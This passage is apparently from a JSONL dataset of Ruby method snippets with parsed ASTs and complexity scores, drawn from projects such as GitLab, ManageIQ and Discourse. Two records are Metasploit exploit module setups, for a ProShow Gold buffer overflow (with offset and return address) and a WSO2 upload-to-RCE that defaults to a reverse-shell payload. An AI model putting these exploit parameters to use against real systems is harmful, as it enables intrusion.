"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"n\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_1\"]},\"deep_merge!\",{\"type\":\"lvar\",\"children\":[\"hash_2\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"o\"]},{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"hash_1\"]}]}]}]}","id":"b8652a96-381e-4f02-9a7a-bb760a2ee1eb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/test_map_packer.rb","start_line":26,"raw_source":"def create_branch_from_segments(segments)\n      segments.reverse.inject(MARKER) { |node, parent| { parent => node } }\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_branch_from_segments\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"segments\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"segments\"]},\"reverse\"]},\"inject\",{\"type\":\"const\",\"children\":[null,\"MARKER\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"parent\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parent\"]},{\"type\":\"lvar\",\"children\":[\"node\"]}]}]}]}]}","id":"3796dd47-385a-40d0-bd7c-0482b7affa8e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/async_delete_mixin_spec.rb","start_line":30,"raw_source":"def self.should_define_delete_queue_class_method\n    it \"should define delete_queue class method\" do\n      expect(@obj.class.respond_to?(:delete_queue)).to be_truthy, \"class method delete_queue not defined for #{@obj.class.name}\"\n    end\n  end","complexity_score":11.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"should_define_delete_queue_class_method\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"str\",\"children\":[\"should define delete_queue class method\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@obj\"]},\"class\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"delete_queue\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_truthy\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"class method delete_queue not defined for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@obj\"]},\"class\"]},\"name\"]}]}]}]}]}]}","id":"d5655aa8-3b9e-402b-acdf-2342af744700"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/surrounding_space.rb","start_line":129,"raw_source":"def no_character_between?(left_bracket_token, right_bracket_token)\n        left_bracket_token.end_pos == right_bracket_token.begin_pos\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"no_character_between?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"left_bracket_token\"]},{\"type\":\"arg\",\"children\":[\"right_bracket_token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left_bracket_token\"]},\"end_pos\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right_bracket_token\"]},\"begin_pos\"]}]}]}","id":"a41cac0f-7419-401b-9644-7c7f1e4dcf9b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/project_search_results.rb","start_line":17,"raw_source":"def objects(scope, page: nil, per_page: DEFAULT_PER_PAGE, preload_method: nil)\n      case scope\n      when 'notes'\n        notes.page(page).per(per_page)\n      when 'blobs'\n        paginated_blobs(blobs(limit: limit_up_to_page(page, per_page)), page, per_page)\n      when 'wiki_blobs'\n        paginated_wiki_blobs(wiki_blobs(limit: limit_up_to_page(page, per_page)), page, per_page)\n      when 'commits'\n        paginated_commits(page, per_page)\n      when 'users'\n        users.page(page).per(per_page)\n      else\n        super\n      end\n    end","complexity_score":24.5,"ast_json":"{\"type\":\"def\",\"children\":[\"objects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]},{\"type\":\"kwoptarg\",\"children\":[\"page\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"per_page\",{\"type\":\"const\",\"children\":[null,\"DEFAULT_PER_PAGE\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"preload_method\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"notes\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notes\"]},\"page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"per\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"blobs\"]},{\"type\":\"send\",\"children\":[null,\"paginated_blobs\",{\"type\":\"send\",\"children\":[null,\"blobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[null,\"limit_up_to_page\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"wiki_blobs\"]},{\"type\":\"send\",\"children\":[null,\"paginated_wiki_blobs\",{\"type\":\"send\",\"children\":[null,\"wiki_blobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"send\",\"children\":[null,\"limit_up_to_page\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"commits\"]},{\"type\":\"send\",\"children\":[null,\"paginated_commits\",{\"type\":\"lvar\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"users\"]},\"page\",{\"type\":\"lvar\",\"children\":[\"page\"]}]},\"per\",{\"type\":\"lvar\",\"children\":[\"per_page\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"b7f3c107-2010-477b-810f-70a69916e1f2"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/sourceforge.rb","start_line":42,"raw_source":"def import_categories\n    puts \"\", \"importing categories\"\n\n    create_categories(@json[:forums]) do |forum|\n      {\n        id: forum[:shortname],\n        name: forum[:name],\n        post_create_action:\n          proc do |category|\n            changes = { raw: forum[:description] }\n            opts = { revised_at: Time.now, bypass_bump: true }\n\n            post = category.topic.first_post\n            post.revise(@system_user, changes, opts)\n          end,\n      }\n    end\n  end","complexity_score":19.2,"ast_json":"{\"type\":\"def\",\"children\":[\"import_categories\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"importing categories\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_categories\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@json\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"forums\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"forum\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shortname\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"post_create_action\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"forum\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"revised_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bypass_bump\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"topic\"]},\"first_post\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"revise\",{\"type\":\"ivar\",\"children\":[\"@system_user\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}]}]}]}]}]}","id":"d8ecdb00-baa4-46fd-84b6-c0829f8ff482"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/lock_rows.rb","start_line":144,"raw_source":"def format_keys(keys)\n      keys.map { |key| format_key(key) }.join(\", \")\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"format_keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"keys\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[null,\"format_key\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}","id":"eca1734f-e865-4971-b626-2c98dea271de"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/api.rb","start_line":157,"raw_source":"def reset(*stats)\n      all = %w[failed processed]\n      stats = stats.empty? ? all : all & stats.flatten.compact.map(&:to_s)\n\n      mset_args = []\n      stats.each do |stat|\n        mset_args << \"stat:#{stat}\"\n        mset_args << 0\n      end\n      Sidekiq.redis do |conn|\n        conn.mset(*mset_args)\n      end\n    end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"stats\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"str\",\"children\":[\"processed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stats\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"empty?\"]},{\"type\":\"lvar\",\"children\":[\"all\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"flatten\"]},\"compact\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_s\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mset_args\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stats\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mset_args\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stat:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mset_args\"]},\"<<\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"conn\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conn\"]},\"mset\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mset_args\"]}]}]}]}]}]}","id":"e69818b7-9447-4dd9-8134-3c13cafd4583"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/proshow_cellimage_bof.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.\n          An attacker must send the file to victim and the victim must open the file.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'jduck' ],\n        'References' => [\n          [ 'CVE', '2009-3214' ],\n          [ 'OSVDB', '57226' ],\n          [ 'EDB', '9483' ],\n          [ 'EDB', '9519' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1000,\n          'BadChars' => \"\\x00\\x0a\\x0d\",\n          'StackAdjustment' => -3500,\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          # 0x01a614ea # p/p/r @ all.dnt\n          [ 'Windows Universal', { 'Offset' => 4036, 'Ret' => 0x101a4cf9 } ], # p/p/r if.dnt\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2009-08-20',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ true, 'The file name.', 'msf.psh']),\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"ProShow Gold v4.0.2549 (PSH File) Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack-based buffer overflow in ProShow Gold v4.0.2549.\\n\"]},{\"type\":\"str\",\"children\":[\"          An attacker must send the file to victim and the victim must open the file.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2009-3214\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"57226\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"9483\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"9519\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[1000]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\n\\r\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackAdjustment\"]},{\"type\":\"int\",\"children\":[-3500]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Universal\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[4036]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[270159097]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2009-08-20\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The file name.\"]},{\"type\":\"str\",\"children\":[\"msf.psh\"]}]}]}]}]}]}]}","id":"db3092cc-8ea5-4423-823a-0c959801ee59"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/chargeback/consumption_with_rollups.rb","start_line":78,"raw_source":"def max(metric, sub_metric = nil)\n      values = values(metric, sub_metric)\n      values.present? ? values.max : 0\n    end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"max\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"metric\"]},{\"type\":\"optarg\",\"children\":[\"sub_metric\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[null,\"values\",{\"type\":\"lvar\",\"children\":[\"metric\"]},{\"type\":\"lvar\",\"children\":[\"sub_metric\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"max\"]},{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"e9b7b7a9-73d4-4432-9e15-dd36889be71b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/wso2_file_upload_rce.rb","start_line":14,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'WSO2 Arbitrary File Upload to RCE',\n        'Description' => %q{\n          This module abuses a vulnerability in certain WSO2 products that allow unrestricted file\n          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and\n          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server\n          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above\n          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.\n        },\n        'Author' => [\n          'Orange Tsai', # Discovery\n          'hakivvi', # analysis and PoC\n          'wvu', # PoC\n          'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2022-29464'],\n          [ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],\n          [ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],\n          [ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]\n        ],\n        'DefaultOptions' => {\n          'Payload' => 'java/meterpreter/reverse_tcp',\n          'SSL' => true,\n          'RPORT' => 9443\n        },\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Java Dropper',\n            {\n              'Platform' => 'java',\n              'Arch' => ARCH_JAVA,\n              'Type' => :java_dropper,\n              'DefaultOptions' => {\n                'WfsDelay' => 10\n              }\n            }\n          ],\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2022-04-01',\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],\n          'Reliability' => [REPEATABLE_SESSION]\n        }\n      )\n    )\n    register_options(\n      [\n        OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),\n        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])\n      ]\n    )\n  end","complexity_score":7.35,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"WSO2 Arbitrary File Upload to RCE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module abuses a vulnerability in certain WSO2 products that allow unrestricted file\\n\"]},{\"type\":\"str\",\"children\":[\"          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and\\n\"]},{\"type\":\"str\",\"children\":[\"          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server\\n\"]},{\"type\":\"str\",\"children\":[\"          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above\\n\"]},{\"type\":\"str\",\"children\":[\"          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Orange Tsai\"]},{\"type\":\"str\",\"children\":[\"hakivvi\"]},{\"type\":\"str\",\"children\":[\"wvu\"]},{\"type\":\"str\",\"children\":[\"Jack Heysel <jack_heysel[at]rapid7.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2022-29464\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/hakivvi/CVE-2022-29464\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"str\",\"children\":[\"java/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[9443]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Java 